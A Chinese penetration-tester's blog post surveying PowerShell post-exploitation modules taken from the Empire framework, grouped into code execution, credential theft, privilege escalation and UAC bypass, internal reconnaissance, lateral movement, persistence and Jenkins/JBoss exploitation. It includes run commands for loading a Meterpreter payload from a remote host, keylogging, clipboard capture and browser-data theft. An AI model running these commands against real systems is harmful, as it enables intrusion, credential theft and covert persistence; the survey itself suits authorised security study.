0x01 前言:
对于empire[说实话确实有些老了] 想必大家也都已经不再陌生,很多人说它是神器,嘿嘿……原谅我一直也没搞清楚神器的具体定义到底是什么[虽然,我知道这对于实际渗透并没任何卵用],也许在我有限的认知里,一直都以为只有能在千里之外轻松get到目标系统的system或者root权限的shell的0day才叫神器。
如果动不动就把某个确实好用点儿的脚本或者工具就叫神器,未免有点儿草率,也显得不稳重,不是吗,自己有个比较野蛮的习惯,在用别人工具的时候,总是忍不住会观察,因为想尽可能理解它的内部实现[最好也是最直接的一手学习资料],如果换成是我自己这代码会怎么写呢,虽然是后知后觉,但拓展出来的思路足以让自己受益良多[站在别人的肩膀上可以走的更快,这是真的],虽然,自己并没有再把代码把它实现一遍,但对整个工具架构实现已经有了更清晰的理解和把握,到了实际用的时候自然就不一样了[更灵活点儿嘛],以后再看到类似的工具,可能一眼就能看透个百分之七八十,嘿嘿……纯粹是个人喜好哈,听过就好,废话过后,咱们说正题。
今天主要是对empire中一些好用的powershell脚本做些简要的使用说明,当然啦,自己已经事先把empire中的powershell脚本选择性的提取了一下,因为我们的重点还是powershell,并非empire脚本本身,整个过程中也不会有任何涉及工具自身使用的东西,其实,empire使用真的非常简单,命令帮助已经写的非常详细了,看看帮助相信大家很快就能上手,不过整个工具最核心的东西还是这些ps脚本[对于一个职业渗透者来讲,您应该一开始就尽量朝着你所能理解的本质去,慢慢的,一旦养成这种习惯,同一个东西,你往往能看见别人看不见的一些小细节],因为这中间有很多脚本跟之前是重复的,所以就选择性的说一些,脚本使用都非常简单,就不再一一截图了,实在是好累啊,还是那句话,关键是大家能在实际渗透中用上,别的都是扯淡
0x02 执行系统指令的相关模块[code_execution]:
1、Invoke-DllInjection.ps1 向指定进程中注入自定义dll
2、Invoke-ReflectivePEInjection.ps1 反射注入 dll
3、Invoke-Shellcode.ps1 执行自定义shellcode
1、Invoke-MetasploitPayload.ps1 尝试派生一个meterpreter的shell
2、PS C:\> Set-ExecutionPolicy Unrestricted
3、PS C:\> Import-Module C:\empire\code_execution\Invoke-MetasploitPayload.ps1
4、PS C:\> Invoke-MetasploitPayload -url http://192.168.3.6:8080/
1、Invoke-ShellcodeMSIL.ps1 在powershell进程中执行shellcode,避免触发win32 api
2、PS C:\> Import-Module C:\empire\code_execution\Invoke-ShellcodeMSIL.ps1
0x03 一些信息搜集模块[collection],后面的脚本就不一一截图了[累],大家可以自己根据脚本中的帮助说明进行尝试:
1、Get-ChromeDump.ps1 搜集chrome浏览器的http密码数据,浏览历史等等
2、Get-FoxDump.ps1 搜集Firefox浏览器的http密码数据,浏览历史等等
3、Get-BrowserData.ps1 搜集所有浏览器数据[IE,chrome,firefox],包括书签,收藏
4、PS C:\> Import-Module C:\empire\collection\Get-BrowserData.ps1
5、PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName admin
1、Get-ClipboardContents.ps1 提前当前机器剪切板中的数据,以秒为单位,默认15秒,实际中并未成功
2、PS C:\> Import-Module C:\empire\collection\Get-ClipboardContents.ps1
3、PS C:\> Invoke -ClipboardMonitor -CollectionLimit 12
1、Get-Keystrokes.ps1 实时键盘记录,不太靠谱,经常会漏掉一些字符
2、PS C:\> Import-Module C:\empire\collection\Get-Keystrokes.ps1
3、PS C:\> Get-Keystrokes
0x04 抓各种密码的方式[credentials]:
1、Get-VaultCredential.ps1从Vault 获取各种密码
2、Invoke-CredentialInjection.ps1 类似wce的hash注入
3、Invoke-Mimikatz.ps1
4、Invoke-PowerDump.ps1
5、Invoke-TokenManipulation.ps1 窃取令牌
6、Invoke-DCSync.ps1
0x05 提权[privesc]及bypasuac的各种方法:
1、Invoke-MS16032.ps1 可能不太好使
2、Invoke-WScriptBypassUAC.ps1
3、Invoke-BypassUAC.ps1
4、Get-SiteListPassword.ps1
5、Invoke-WScriptBypassUAC.ps1
0x06 各种内网渗透相关模块 [situational_awareness]:
1、Invoke-SmbScanner.ps1 全自动smb弱口令扫描
2、Invoke-Portscan.ps1 tcp端口扫描
3、Invoke-ARPScan.ps1 内网arp扫描
4、Get-SPN.ps1
5、Invoke-WinEnum.ps1
0x07 横向渗透[lateral_movement],拓展内网的其它机器:
1、Invoke-PsExec.ps1 powershell版的psexecInvoke-
2、SSHCommand.ps1 powershell版本的ssh工具,可以利用它方便的ssh到内网的linux机器上
3 、Invoke-InveighRelay.ps1 经典的smb重放攻击
0x08 持久控制 [persistence]:
1、Install-SSP.ps1
2、Invoke-BackdoorLNK.ps1 win快捷方式后门
3、Get-SecurityPackages.ps1
4、PowerBreach.ps1
0x09 一些内网web中间件利用:
1、Exploit-Jenkins.ps1
2、Exploit-JBoss.ps1
文章出处:klion's blog
原文链接:https://klionsec.github.io/2016/10/06/empire-powershell/
你可能喜欢